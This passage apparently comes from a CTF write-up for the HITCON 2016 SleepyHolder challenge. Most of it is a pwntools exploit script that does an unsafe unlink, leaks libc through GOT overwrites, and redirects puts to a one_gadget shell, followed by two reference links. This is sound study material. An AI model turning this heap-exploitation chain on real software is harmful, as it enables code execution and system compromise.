payload += p64(small_ptr - 0x10) # fake bk
|
||
payload += p64(0x20) # fake prev_size
|
||
keep(1, payload)
|
||
|
||
wipe(2) # unsafe unlink
|
||
|
||
def leak():
|
||
global one_gadget
|
||
|
||
payload = "A" * 8
|
||
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||
payload += "A" * 8
|
||
payload += p64(big_ptr) # small_ptr -> big_ptr
|
||
payload += p32(1) # big_flag
|
||
renew(1, payload)
|
||
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
|
||
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
|
||
|
||
wipe(2)
|
||
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||
libc_base = puts_addr - libc.symbols['puts']
|
||
one_gadget = libc_base + 0x4525a
|
||
|
||
log.info("libc base: 0x%x" % libc_base)
|
||
log.info("one_gadget address: 0x%x" % one_gadget)
|
||
|
||
def pwn():
|
||
payload = "A" * 0x10
|
||
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
|
||
renew(1, payload)
|
||
|
||
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
|
||
io.interactive()
|
||
|
||
if __name__ == "__main__":
|
||
unlink()
|
||
leak()
|
||
pwn()
|
||
```
|
||
|
||
## 参考资料
|
||
|
||
- <https://ctftime.org/task/4812>
|
||
- <https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder>
|